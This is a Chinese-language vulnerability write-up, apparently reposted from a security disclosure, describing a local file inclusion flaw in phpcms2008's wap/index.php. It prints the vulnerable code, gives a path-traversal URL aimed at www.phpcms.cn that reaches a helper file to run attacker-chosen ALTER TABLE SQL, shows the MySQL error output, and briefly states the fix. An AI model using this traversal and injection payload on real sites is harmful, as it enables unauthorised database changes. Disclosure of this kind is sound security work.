网站地图    收藏   

主页 > 后端 > 网站安全 >

phpcms2008本地文件包括及利用(执行任意SQL脚本)

来源:自学PHP网    时间:2015-04-17 15:08 作者: 阅读:

[导读] 文件wap/index.php?phpinclude ../include/common.inc.php;include ./include/global.func.php;$lang = include ./include/lang.inc.php;if(preg_match(/(mozilla|m3gate|winwap|openwave)/i, $_SERVER[HTTP_USER_AGENT]))...

文件wap/index.php
<?php
include ../include/common.inc.php;
include ./include/global.func.php;
$lang = include ./include/lang.inc.php;
if(preg_match(/(mozilla|m3gate|winwap|openwave)/i, $_SERVER[HTTP_USER_AGENT]))
{
header(location:../);
}
wmlHeader($PHPCMS[sitename]);

$action = isset($action) && !empty($action) ? $action : index;
if($action)
{
include ./include/.$action..inc.php;
}

$html = CHARSET != utf-8 ? iconv(CHARSET, utf-8, $html) : $html;
echo str_replace(<br/>, "<br/> ", $html);
wmlFooter();
?>


action 变量没有判断,造成本地文件包含漏洞

利用(其中之一):

包含目录includefieldsareaid 下任一文件,即可执行任意SQL脚本。

如:field_add.inc.php
<?php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT $defaultvalue";
$db->query($sql);
?>
tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。

用Opera浏览器访问

http://www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx

6: </head>
7: <card id="phpcmsWml" title="Phpcms">
8: <p>
9: <div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span><b>MySQL Query : </b>ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT <br /><b> MySQL Error : </b>Table phpcms.xx doesnt exist <br /> <b>MySQL Errno : </b>1146 <br /><b> Message : </b> MySQL Query Error</span></div>

修复方案:

action 变量判断

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论